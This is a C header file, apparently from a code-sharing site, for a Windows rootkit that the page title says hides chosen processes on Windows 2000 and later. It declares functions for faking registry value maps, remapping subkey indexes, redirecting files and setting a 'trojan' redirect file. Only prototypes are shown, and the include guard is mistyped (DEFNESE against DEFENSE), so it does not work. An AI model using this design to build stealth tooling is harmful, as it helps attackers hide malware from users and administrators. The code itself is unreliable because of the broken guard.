rk_defense.h

来自「能够在windows 2000以上操作系统下隐藏特定的进程」· C头文件 代码 · 共 21 行

#ifndef __RK_DEFENSE_H__
#define __RK_DEFNESE_H__

int SetupFakeValueMap( HANDLE pHandle, HANDLE hKey );

ULONG GetNumberOfValues( HANDLE hKey );
ULONG GetNumberOfSubkeys( HANDLE hKey );

void FreeTrackHandle( HANDLE theHandle );
ULONG GetRegValueMapping( HANDLE hKey, ULONG realIndex);
ULONG GetRegSubkeyMapping( HANDLE hKey, ULONG realIndex);

void WatchProcessHandle( HANDLE hFile );
HANDLE CheckForRedirectedFile( HANDLE hFile );
void SetTrojanRedirectFile( HANDLE hFile );


void InitDefenseSystem();

#endif